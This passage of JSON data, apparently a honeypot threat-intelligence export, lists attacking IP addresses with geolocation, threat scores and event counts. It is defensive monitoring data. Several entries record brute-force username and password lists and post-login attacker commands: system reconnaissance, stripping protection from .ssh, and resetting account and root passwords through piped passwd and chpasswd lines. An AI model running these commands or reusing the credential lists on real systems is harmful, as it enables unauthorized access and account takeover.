      "as_org": "CT-HangZhou-IDC",
      "threat_score": 13.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 5,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-21T06:36:44.990000+00:00",
        "last_seen_30d": "2026-03-21T06:48:49.298000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 3,
        "Suricata": 2
      }
    },
    "14.194.19.30": {
      "attack_count": 3,
      "first_seen": "2026-03-19T17:05:58.873Z",
      "last_seen": "2026-03-19T17:06:59.738Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "admin"
      ],
      "passwords_attempted": [
        "admin"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Noida",
      "asn": 45820,
      "as_org": "Tata Teleservices ISP AS",
      "threat_score": 14.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.8,
        "persistence": 1.7,
        "diversity": 4,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 6,
        "days_active_30d": 2,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-19T17:05:58.873000+00:00",
        "last_seen_30d": "2026-03-20T06:26:42.038000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 3,
        "Suricata": 3
      }
    },
    "1.169.249.78": {
      "attack_count": 2,
      "first_seen": "2026-03-28T08:16:41.458Z",
      "last_seen": "2026-03-28T08:16:54.783Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Taiwan",
      "country_code": "TW",
      "city": "Hsinchu",
      "asn": 3462,
      "as_org": "Data Communication Business Group",
      "threat_score": 15.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-28T08:16:41.458000+00:00",
        "last_seen_30d": "2026-03-28T08:18:04.236000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "105.184.206.193": {
      "attack_count": 2,
      "first_seen": "2026-03-10T07:50:57.012Z",
      "last_seen": "2026-03-10T07:51:09.690Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "South Africa",
      "country_code": "ZA",
      "city": "Pretoria",
      "asn": 37457,
      "as_org": "Telkom-Internet",
      "threat_score": 5.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.3
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-10T07:50:57.012000+00:00",
        "last_seen_30d": "2026-03-10T07:52:19.648000+00:00",
        "days_since_last_seen": 21
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "111.253.112.252": {
      "attack_count": 2,
      "first_seen": "2026-03-27T08:13:28.858Z",
      "last_seen": "2026-03-27T08:13:59.592Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Taiwan",
      "country_code": "TW",
      "city": "Nantou City",
      "asn": 3462,
      "as_org": "Data Communication Business Group",
      "threat_score": 16.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-27T08:13:28.858000+00:00",
        "last_seen_30d": "2026-03-27T08:15:05.631000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "117.251.194.237": {
      "attack_count": 2,
      "first_seen": "2026-03-30T05:37:14.783Z",
      "last_seen": "2026-03-30T05:37:28.536Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Chennai",
      "asn": 9829,
      "as_org": "National Internet Backbone",
      "threat_score": 17.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-30T05:37:14.783000+00:00",
        "last_seen_30d": "2026-03-30T05:38:35.831000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "121.61.255.151": {
      "attack_count": 2,
      "first_seen": "2026-03-10T18:49:50.250Z",
      "last_seen": "2026-03-10T18:49:50.631Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 5.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.3
      },
      "reputation_metrics": {
        "total_events_30d": 5,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-10T18:49:50.250000+00:00",
        "last_seen_30d": "2026-03-10T18:50:54.555000+00:00",
        "days_since_last_seen": 21
      },
      "honeypot_breakdown_30d": {
        "Suricata": 3,
        "Cowrie": 2
      }
    },
    "162.229.225.140": {
      "attack_count": 2,
      "first_seen": "2026-03-07T00:52:18.293Z",
      "last_seen": "2026-03-07T00:52:31.712Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Jacksonville",
      "asn": 7018,
      "as_org": "AT&T Enterprises, LLC",
      "threat_score": 3.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.2
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-07T00:52:18.293000+00:00",
        "last_seen_30d": "2026-03-07T00:53:37.552000+00:00",
        "days_since_last_seen": 24
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "164.68.120.179": {
      "attack_count": 2,
      "first_seen": "2026-03-11T09:03:53.786Z",
      "last_seen": "2026-03-11T09:04:24.154Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "France",
      "country_code": "FR",
      "city": "Lauterbourg",
      "asn": 51167,
      "as_org": "Contabo GmbH",
      "threat_score": 6.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-11T09:03:53.786000+00:00",
        "last_seen_30d": "2026-03-11T09:05:24.960000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "177.8.161.5": {
      "attack_count": 2,
      "first_seen": "2026-03-18T10:07:00.404Z",
      "last_seen": "2026-03-18T10:07:31.653Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "S\u00e3o Paulo",
      "asn": 53231,
      "as_org": "GRUPOHOST COMUNICACAO MULTIMIDIA LTDA",
      "threat_score": 10.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.57
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-18T10:07:00.404000+00:00",
        "last_seen_30d": "2026-03-18T10:08:34.870000+00:00",
        "days_since_last_seen": 13
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "187.139.15.169": {
      "attack_count": 2,
      "first_seen": "2026-03-31T14:09:03.897Z",
      "last_seen": "2026-03-31T14:09:34.443Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Mexico",
      "country_code": "MX",
      "city": "El Salto",
      "asn": 8151,
      "as_org": "UNINET",
      "threat_score": 18.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-31T14:09:03.897000+00:00",
        "last_seen_30d": "2026-03-31T14:10:42.717000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "195.184.76.29": {
      "attack_count": 2,
      "first_seen": "2026-03-18T09:27:24.057Z",
      "last_seen": "2026-03-18T09:27:24.061Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Warrenton",
      "asn": 213412,
      "as_org": "ONYPHE SAS",
      "threat_score": 87.3,
      "threat_level": "critical",
      "score_components": {
        "frequency": 22.3,
        "persistence": 25,
        "diversity": 20,
        "spread": 20,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 168,
        "days_active_30d": 30,
        "ports_targeted_30d": 49,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-03-02T04:07:03.579000+00:00",
        "last_seen_30d": "2026-03-31T20:02:21.136000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 144,
        "Honeytrap": 21,
        "Cowrie": 2,
        "Dionaea": 1
      }
    },
    "198.235.24.99": {
      "attack_count": 2,
      "first_seen": "2026-03-04T20:14:47.874Z",
      "last_seen": "2026-03-04T20:14:57.743Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 91.9,
      "threat_level": "critical",
      "score_components": {
        "frequency": 21.9,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 156,
        "days_active_30d": 30,
        "ports_targeted_30d": 42,
        "honeypots_triggered_30d": 6,
        "first_seen_30d": "2026-03-02T02:17:51+00:00",
        "last_seen_30d": "2026-03-31T00:34:23.412000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 102,
        "Honeytrap": 49,
        "Cowrie": 2,
        "ElasticPot": 1,
        "H0neytr4p": 1,
        "Honeyaml": 1
      }
    },
    "209.38.18.23": {
      "attack_count": 2,
      "first_seen": "2026-03-19T09:41:47.760Z",
      "last_seen": "2026-03-19T09:41:47.762Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Australia",
      "country_code": "AU",
      "city": "Sydney",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 12.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 6,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-19T09:41:47.760000+00:00",
        "last_seen_30d": "2026-03-19T09:42:49.635000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Suricata": 4,
        "Cowrie": 2
      }
    },
    "219.153.103.109": {
      "attack_count": 2,
      "first_seen": "2026-03-31T08:33:01.620Z",
      "last_seen": "2026-03-31T08:35:01.667Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Shanghai",
      "asn": 134420,
      "as_org": "Chongqing Telecom",
      "threat_score": 18.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-31T08:33:01.620000+00:00",
        "last_seen_30d": "2026-03-31T08:45:43.831000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "223.123.42.182": {
      "attack_count": 2,
      "first_seen": "2026-03-26T22:12:31.958Z",
      "last_seen": "2026-03-26T22:12:44.431Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": null,
      "asn": 138423,
      "as_org": "CMPak Limited",
      "threat_score": 18.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.0,
        "persistence": 3.3,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 5,
        "days_active_30d": 4,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-23T14:18:56.889000+00:00",
        "last_seen_30d": "2026-03-26T22:13:51.750000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Suricata": 3,
        "Cowrie": 2
      }
    },
    "27.72.42.95": {
      "attack_count": 2,
      "first_seen": "2026-03-09T19:57:04.293Z",
      "last_seen": "2026-03-09T19:57:04.999Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Vietnam",
      "country_code": "VN",
      "city": "Hanoi",
      "asn": 7552,
      "as_org": "Viettel Group",
      "threat_score": 5.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.27
      },
      "reputation_metrics": {
        "total_events_30d": 5,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-09T19:57:04.293000+00:00",
        "last_seen_30d": "2026-03-09T19:58:15.037000+00:00",
        "days_since_last_seen": 22
      },
      "honeypot_breakdown_30d": {
        "Suricata": 3,
        "Cowrie": 2
      }
    },
    "67.82.102.170": {
      "attack_count": 2,
      "first_seen": "2026-03-29T11:23:27.188Z",
      "last_seen": "2026-03-29T11:23:40.684Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "The Bronx",
      "asn": 6128,
      "as_org": "Cablevision Systems Corp.",
      "threat_score": 16.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-29T11:23:27.188000+00:00",
        "last_seen_30d": "2026-03-29T11:24:48.908000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "85.172.172.77": {
      "attack_count": 2,
      "first_seen": "2026-03-21T20:27:16.542Z",
      "last_seen": "2026-03-21T20:27:29.266Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Russia",
      "country_code": "RU",
      "city": null,
      "asn": 12389,
      "as_org": "Rostelecom",
      "threat_score": 11.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-21T20:27:16.542000+00:00",
        "last_seen_30d": "2026-03-21T20:28:31.868000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "91.230.168.12": {
      "attack_count": 2,
      "first_seen": "2026-03-31T20:03:12.548Z",
      "last_seen": "2026-03-31T20:03:12.971Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Hillsboro",
      "asn": 213412,
      "as_org": "ONYPHE SAS",
      "threat_score": 92.9,
      "threat_level": "critical",
      "score_components": {
        "frequency": 22.9,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 197,
        "days_active_30d": 30,
        "ports_targeted_30d": 67,
        "honeypots_triggered_30d": 5,
        "first_seen_30d": "2026-03-02T05:50:09+00:00",
        "last_seen_30d": "2026-03-31T20:42:15.292000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 141,
        "Honeytrap": 52,
        "Cowrie": 2,
        "Dionaea": 1,
        "Tanner": 1
      }
    },
    "94.236.239.90": {
      "attack_count": 2,
      "first_seen": "2026-03-03T04:37:21.155Z",
      "last_seen": "2026-03-03T04:37:53.140Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Bulgaria",
      "country_code": "BG",
      "city": "Novi Iskar",
      "asn": 197304,
      "as_org": "Dilis Grup EOOD",
      "threat_score": 1.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-03T04:37:21.155000+00:00",
        "last_seen_30d": "2026-03-03T04:39:02.067000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "212.72.14.244": {
      "attack_count": 4971,
      "first_seen": "2026-03-07T01:37:37.261Z",
      "last_seen": "2026-03-22T18:33:13.682Z",
      "sessions": 992,
      "ports": [],
      "usernames_attempted": [
        "root",
        "oracle",
        "admin",
        "es",
        "test",
        "user",
        "app",
        "esuser",
        "flask",
        "ftpuser",
        "git",
        "gitlab",
        "guest",
        "hadoop",
        "postgres",
        "www",
        "deploy",
        "dev",
        "dolphinscheduler",
        "elastic"
      ],
      "passwords_attempted": [
        "123456",
        "123",
        "abc123",
        "1",
        "password",
        "!QAZ@WSX",
        "111111",
        "1234",
        "12345678",
        "1qaz@WSX",
        "1qazXSW@",
        "admin",
        "!Q2w3e4r",
        "!Q@W3e4r",
        "!QAZ2wsx",
        "!QAZ@wsx",
        "!Qaz@Wsx",
        "!qaz@WSX",
        "123321",
        "12345"
      ],
      "commands_executed": [
        "uname -s -v -n -r -m"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "Oman",
      "country_code": "OM",
      "city": "Seeb",
      "asn": 28885,
      "as_org": "Oman Telecommunications Company (S.A.O.G)",
      "threat_score": 38.7,
      "threat_level": "low",
      "score_components": {
        "frequency": 30,
        "persistence": 13.3,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 7023,
        "days_active_30d": 16,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-07T01:37:37.261000+00:00",
        "last_seen_30d": "2026-03-22T18:34:14.294000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4971,
        "Suricata": 2052
      }
    },
    "171.25.158.74": {
      "attack_count": 869,
      "first_seen": "2026-03-09T15:56:07.446Z",
      "last_seen": "2026-03-17T10:11:22.508Z",
      "sessions": 88,
      "ports": [],
      "usernames_attempted": [
        "345gs5662d34",
        "root",
        "desktop",
        "dls",
        "kevin",
        "lu",
        "old",
        "sftpuser",
        "software",
        "taiga",
        "username",
        "usuarioftp",
        "admin",
        "alarm",
        "amir",
        "cacti",
        "certftp",
        "cloud_user",
        "cody",
        "contab"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "1234",
        "password",
        "123456",
        "123",
        "12345",
        "12345678",
        "1qazxsw2",
        "Admin@2025",
        "Certftp123",
        "Deployuser123!",
        "Dev",
        "Docker123!",
        "Hdoop",
        "Kevin123!",
        "Mc",
        "Ncadmin",
        "One123",
        "Personal123"
      ],
      "commands_executed": [
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "lockr -ia .ssh",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"1234\\nV8pTbBtO1nqp\\nV8pTbBtO1nqp\\n\"|passwd",
        "echo \"123\\nVtbYP27UG5Am\\nVtbYP27UG5Am\\n\"|passwd",
        "echo \"Kevin123!\\ngw2EkyVH7aa8\\ngw2EkyVH7aa8\\n\"|passwd",
        "echo \"desktop123!\\ncz5uCAjjPYI5\\ncz5uCAjjPYI5\\n\"|passwd",
        "echo \"lu@123\\nlSjPGepwpqfD\\nlSjPGepwpqfD\\n\"|passwd",
        "echo \"sftpuser@123\\npHdvoBvLTx6v\\npHdvoBvLTx6v\\n\"|passwd",
        "echo \"username\\nvQtQX6Yj4ZyM\\nvQtQX6Yj4ZyM\\n\"|passwd",
        "echo -e \"1234\\nV8pTbBtO1nqp\\nV8pTbBtO1nqp\"|passwd|bash",
        "echo -e \"123\\nVtbYP27UG5Am\\nVtbYP27UG5Am\"|passwd|bash",
        "echo -e \"Kevin123!\\ngw2EkyVH7aa8\\ngw2EkyVH7aa8\"|passwd|bash",
        "echo -e \"desktop123!\\ncz5uCAjjPYI5\\ncz5uCAjjPYI5\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Sweden",
      "country_code": "SE",
      "city": "Vaxjo",
      "asn": 35100,
      "as_org": "Patrik Lagerman",
      "threat_score": 26.4,
      "threat_level": "low",
      "score_components": {
        "frequency": 30,
        "persistence": 7.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.53
      },
      "reputation_metrics": {
        "total_events_30d": 1073,
        "days_active_30d": 9,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-09T15:56:07.446000+00:00",
        "last_seen_30d": "2026-03-17T10:12:28.514000+00:00",
        "days_since_last_seen": 14
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 869,
        "Suricata": 204
      }
    },
    "190.184.222.63": {
      "attack_count": 751,
      "first_seen": "2026-03-11T10:13:21.535Z",
      "last_seen": "2026-03-17T00:39:00.722Z",
      "sessions": 56,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "angga",
        "bitwarden",
        "elastic",
        "n8n",
        "ravi",
        "sc",
        "vnc",
        "amir",
        "apagar",
        "ben",
        "bin",
        "david",
        "ekp",
        "francesco",
        "ftp-user",
        "gestion",
        "hadoop",
        "icecast"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "1234",
        "123456",
        "12345678",
        "password",
        "!@#qwe123QWE",
        "123",
        "Carlos84",
        "Deathstar1",
        "Ekp123",
        "Iptv123",
        "Jackson55",
        "JacobBlack",
        "M0rph3us",
        "Mailman1",
        "Mamoru",
        "Pisces",
        "Shadow05",
        "Sipv123"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"123\\nBB3x8brLn9SK\\nBB3x8brLn9SK\\n\"|passwd",
        "echo \"anggapass\\nmMorPEBjc2D3\\nmMorPEBjc2D3\\n\"|passwd",
        "echo \"bitwarden\\nYcHN6uK8EKUZ\\nYcHN6uK8EKUZ\\n\"|passwd",
        "echo \"elasticpass\\nvBBJbH9XZ9iq\\nvBBJbH9XZ9iq\\n\"|passwd",
        "echo \"n8n\\nIMdShHtDdpUl\\nIMdShHtDdpUl\\n\"|passwd",
        "echo \"password\\nefGAAShWlSpJ\\nefGAAShWlSpJ\\n\"|passwd",
        "echo \"ravi\\n0qcKO6bcbdCA\\n0qcKO6bcbdCA\\n\"|passwd",
        "echo \"root:VmdvQ4jczrye\"|chpasswd|bash",
        "echo -e \"123\\nBB3x8brLn9SK\\nBB3x8brLn9SK\"|passwd|bash",
        "echo -e \"anggapass\\nmMorPEBjc2D3\\nmMorPEBjc2D3\"|passwd|bash",
        "echo -e \"bitwarden\\nYcHN6uK8EKUZ\\nYcHN6uK8EKUZ\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
